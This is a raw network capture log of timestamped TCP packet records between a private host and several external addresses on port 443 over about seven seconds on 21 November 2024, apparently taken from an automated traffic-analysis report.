Nov 21, 2024 00:03:11.626283884 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.626338005 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.626396894 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.627090931 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.627109051 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.628245115 CET	443	49728	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.628423929 CET	443	49728	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.628473043 CET	49728	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.628511906 CET	49728	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.628516912 CET	443	49728	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.628526926 CET	49728	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.628530979 CET	443	49728	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.630534887 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.630579948 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.630636930 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.630779028 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.630794048 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.673615932 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:11.673659086 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:11.673732996 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:11.675558090 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:11.675574064 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:11.764991045 CET	443	49732	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.765063047 CET	443	49732	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.765110970 CET	49732	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.765256882 CET	49732	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.765271902 CET	443	49732	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.765284061 CET	49732	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.765290022 CET	443	49732	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.768692970 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.768742085 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.768807888 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.769162893 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:11.769176960 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:11.991077900 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:11.991116047 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:11.991184950 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:11.991559982 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:11.991578102 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:12.259623051 CET	49677	443	192.168.2.7	20.50.201.200
Nov 21, 2024 00:03:13.130307913 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.131077051 CET	49733	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.131133080 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.131602049 CET	49733	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.131609917 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.252541065 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.252610922 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.253880978 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.253890038 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.254136086 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.255367041 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.256108999 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.256145954 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.256249905 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.256284952 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.256386042 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.256412983 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.256567001 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.256586075 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.256782055 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.256809950 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.257272005 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.257292986 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.257304907 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.257536888 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.257574081 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.303343058 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.303513050 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.303555965 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.303569078 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.340534925 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:13.340614080 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:13.342179060 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:13.342192888 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:13.342566013 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:13.347338915 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.347569942 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.347590923 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.347606897 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.347634077 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.348022938 CET	49735	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.348102093 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.348503113 CET	49735	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.348520994 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.357559919 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.358091116 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.358124018 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.358616114 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.358620882 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.384635925 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:13.395327091 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.395421982 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:13.439337969 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.471208096 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.471740961 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.471765995 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.472227097 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.472234011 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.488224030 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.488615036 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.488656044 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.488997936 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.489003897 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.496526957 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:13.573837996 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.573915958 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.574038982 CET	49733	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.574204922 CET	49733	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.574255943 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.574287891 CET	49733	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.574306965 CET	443	49733	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.577152967 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.577212095 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.577333927 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.577544928 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.577560902 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.792947054 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.793016911 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.793262959 CET	49735	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.793325901 CET	49735	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.793325901 CET	49735	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.793359995 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.793376923 CET	443	49735	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.794583082 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.794656038 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.794724941 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.794895887 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.794914961 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.794928074 CET	49737	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.794933081 CET	443	49737	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.795803070 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.795845032 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.796053886 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.796194077 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.796206951 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.796900988 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.796925068 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.797113895 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.797224045 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.797234058 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.921576023 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.921704054 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.921772003 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.921919107 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.921962976 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.921974897 CET	49739	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.921981096 CET	443	49739	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.924717903 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.924755096 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.924993992 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.925165892 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.925184965 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.925643921 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.925726891 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.925779104 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.925879955 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.925889969 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.925901890 CET	49736	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.925906897 CET	443	49736	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.927988052 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.928023100 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:13.928126097 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.928261995 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:13.928273916 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:14.865864038 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:14.907375097 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416311026 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416343927 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416352034 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416353941 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416384935 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416448116 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:15.416469097 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.416513920 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:15.424282074 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.425518990 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.425529957 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.425970078 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.425975084 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.435664892 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.435746908 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:15.435762882 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:15.435802937 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:15.574305058 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.575292110 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.575340033 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.575790882 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.575798035 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.640701056 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.641319990 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.641356945 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.641808987 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.641819000 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.712976933 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.713546991 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.713567019 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.714154005 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.714158058 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.880878925 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.880970001 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.881042004 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.881181002 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.881195068 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.881210089 CET	49741	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.881215096 CET	443	49741	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.883742094 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.883754969 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:15.883812904 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.883951902 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:15.883960962 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.022593021 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.022665024 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.022805929 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.022932053 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.022948027 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.022958994 CET	49743	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.022964954 CET	443	49743	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.025890112 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.025913954 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.026027918 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.026145935 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.026155949 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.095125914 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.095200062 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.095243931 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.095454931 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.095475912 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.095489979 CET	49744	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.095498085 CET	443	49744	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.098510027 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.098550081 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.098619938 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.098803997 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.098822117 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.156461000 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.156538010 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.156929970 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.157027006 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.157047033 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.157058954 CET	49745	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.157064915 CET	443	49745	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.159617901 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.159657001 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.159766912 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.159888029 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.159898043 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.382908106 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.383703947 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.383740902 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.385365963 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.385384083 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.704304934 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:16.704349995 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:16.704366922 CET	49738	443	192.168.2.7	172.202.163.200
Nov 21, 2024 00:03:16.704376936 CET	443	49738	172.202.163.200	192.168.2.7
Nov 21, 2024 00:03:16.835697889 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.835777044 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.835829973 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.836064100 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.836086988 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.836098909 CET	49746	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.836105108 CET	443	49746	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.839226961 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.839267015 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:16.839329958 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.839557886 CET	49753	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:16.839572906 CET	443	49753	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.115700960 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:17.115792990 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:17.115922928 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:17.116312981 CET	49740	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:17.116326094 CET	443	49740	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:17.125170946 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:17.125221014 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:17.125292063 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:17.125576019 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:17.125590086 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:17.665625095 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.666683912 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:17.666719913 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.668472052 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:17.668488979 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.743400097 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.744215012 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:17.744250059 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.744728088 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:17.744734049 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.951646090 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.952188969 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:17.952219009 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:17.952608109 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:17.952621937 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.035507917 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.037703991 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.037719965 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.038269997 CET	49752	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.038276911 CET	443	49752	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.108922005 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.109100103 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.109389067 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.109488964 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.109524012 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.109553099 CET	49749	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.109570980 CET	443	49749	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.111948013 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.111995935 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.112067938 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.112209082 CET	49755	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.112221003 CET	443	49755	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.190713882 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.190790892 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.190915108 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.190939903 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.190956116 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.190965891 CET	49750	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.190973043 CET	443	49750	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.193114996 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.193206072 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.193362951 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.193461895 CET	49756	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.193484068 CET	443	49756	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.388220072 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:18.388324022 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:18.389606953 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:18.389622927 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:18.389866114 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:18.398371935 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:18.398386955 CET	49754	443	192.168.2.7	188.114.96.3
Nov 21, 2024 00:03:18.398439884 CET	443	49754	188.114.96.3	192.168.2.7
Nov 21, 2024 00:03:18.404244900 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.404315948 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.404494047 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.404537916 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.404537916 CET	49751	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.404558897 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.404572010 CET	443	49751	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.407371998 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.407416105 CET	443	49757	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:18.407495975 CET	49757	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:18.407660007 CET	49757	443	192.168.2.7	13.107.246.45
